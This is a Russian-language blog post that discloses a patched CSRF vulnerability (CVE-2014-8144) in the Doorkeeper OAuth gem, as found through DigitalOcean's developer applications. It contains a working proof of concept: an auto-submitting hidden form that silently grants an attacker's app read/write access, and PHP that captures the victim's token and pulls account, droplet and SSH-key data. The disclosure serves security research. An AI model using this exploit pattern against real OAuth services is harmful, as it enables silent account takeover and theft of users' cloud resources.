Pull to refresh

Doorkeeper CSRF — CVE-2014-8144

Information Security *
Как и многие хабрапользователи, я пользуюсь «облачными» технологиями, в т.ч. арендую VPS (виртуальные сервера) в разных странах мира. Порядка двух лет я пользовался Амазоном и не сказать, чтобы был доволен, но хватало.

В сентябре прошлого года я наткнулся на очень агрессивную PR компанию от Digital Ocean (DO) и решил воспользоваться их услугами. С того момента я забросил Амазон (ни разу не реклама) и полностью перешел на DO.
image

И чем больше пользуешься каким-либо сервисом и чем больше доверяешь ему своих данных, тем более пристально смотришь, как он работает.

Веб DO написан на RoR, также повсеместно используется GO/Perl, БД — MariaDB / PostgreSQL (весьма странно что оба вместе в одном продукте, ну да ладно). И из нескольких security-репортов хотелось бы выделить один, уже исправленный, с самой простейшей багой и самым большим импактом — захват контроля над чужим аккаунтом.

Место встречи


Как-то давно я писал статью про безопасность API и что смотреть уязвимости лучше именно там. Осмотрев свой аккаунт и функционал заметил — что здесь он как раз есть. Можно создавать «developer applications».


Окно создания приложения

Доступ через приложение к аккаунту


Почитав документы — developers.digitalocean.com, изучив запуск новой версии API понял, что могу создать приложение, после на него мне дается ссылка вида — cloud.digitalocean.com/v1/oauth/authorize?client_id=34fc7d56883b7e33b2f305642acb5ec6e5a14271ba83084dc6a0ca2b22d29555&redirect_uri=https%3A%2F%2Fsergeybelove.ru%2Fexploits%2F&response_type=code


Пример запроса доступа к аккаунту

В url можно задать параметр scope. Вместо типичного решения разделения прав по модулям (например, как в соц. сетях — доступ к друзьям, фотоальбомам и т.п.) ребята из DO решили сделать по-другому, можно запросить доступные операции — read|write (без явного указания параметра выставляется только read), при этом выдавая доступ сразу ко всем модулям. Далеко не лучшее решение.

Вектор атаки


Если юзер нажмет на «Authorize Application» его автоматически перекинет по callback url с специальным токеном. Этот токен можно использовать уже на своей стороне (разработчика) для запроса следующего токена, который нужен непосредственно для вызовов самих методов API (информация об аккаунте, управление дроплетами и т.п.).

Вся их ошибка сводилась к тому, что можно провести CSRF атаку на установку приложения (создать на своей стороне форму, идентичную запросу выше на картинке, поменять action формы на DO и выполнить submit). CSRF токен они используют, но не проверяют на серверной стороне.

Как итог, мы просто размещаем где-либо нужный html/js код, помещаем его в скрытый фрейм и, незаметно для пользователя, устанавливаем ему свое «злобное» приложение, попутно отлавливая access_token, который юзер передаст по callback_url на наш сервер.

Для наглядности приведу свой PoC. При посещении кода с такой страницей — устанавливалось приложение, отлавливался access_token, запрашивался следующий и выводились некоторые данные аккаунта

<html>
 <body<?php if (!isset($_GET['code'])) echo ' onload="document.forms[0].submit()"'; ?>>
    <form action="https://cloud.digitalocean.com/v1/oauth/authorize" method="POST">
      <input type="hidden" name="utf8" value="✓" />
      <input type="hidden" name="authenticity_token" value="" />
      <input type="hidden" name="client_id" value="___ID___FROM_DEV_PANEL__" />
      <input type="hidden" name="redirect_uri" value="http://_url_with_exploit" />
      <input type="hidden" name="state" value="" />
      <input type="hidden" name="response_type" value="code" />
      <input type="hidden" name="scope" value="read write" />
      <input type="hidden" name="commit" value="Authorize Application" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

<?php
if (isset($_GET['code']) && preg_match("/^([a-z0-9]{64})$/", $_GET['code'])) {
	// lets exploit
	$resp = json_decode(shell_exec('curl -X POST "https://cloud.digitalocean.com/v1/oauth/token?grant_type=authorization_code&code='.$_GET['code'].'&client_id=_CLIENT_ID_OF_DEV_APP&client_secret=CLIENT_SECRET_OF_DEV_API&redirect_uri=http://_url_with_exploit"'));
	$token = $resp->access_token;
	echo "Your token is: ".$token;
	echo '<h1>User info:</h1><pre>';
	print_r(json_decode(shell_exec('curl -X GET -H \'Content-Type: application/json\' -H \'Authorization: Bearer '.$token.'\' "https://api.digitalocean.com/v2/account"')));
	echo '</pre><h1>Droplets info:</h1><pre>';
	print_r(json_decode(shell_exec('curl -X GET -H \'Content-Type: application/json\' -H \'Authorization: Bearer '.$token.'\' "https://api.digitalocean.com/v2/droplets"')));
	echo '</pre><h1>SSH keys info:</h1><pre>';
	print_r(json_decode(shell_exec('curl -X GET -H \'Content-Type: application/json\' -H \'Authorization: Bearer '.$token.'\' "https://api.digitalocean.com//v2/account/keys"')));
	echo '</pre>';
	
}


Итог — полный контроль над аккаунтом. Некоторые из доступных методов (просто указывая scope=read,write):

  • Создание, удаление дроплетов
  • Создание, удаление, обновление ssh ключей
  • Перемещение образов дроплетов (на другие аккаунты)

В целом — густо. Данная уязвимость запатчена, остальные, к сожалению, нет. Может получится о них рассказать в скором времени.

upd: уязвимость допущена не разработчиками DO, а находится в самом джеме для OAuth — Doorkeeper, который используется на множестве сайтов.
Tags:
Hubs:
Total votes 84: ↑81 and ↓3 +78
Views 51K
Comments Comments 10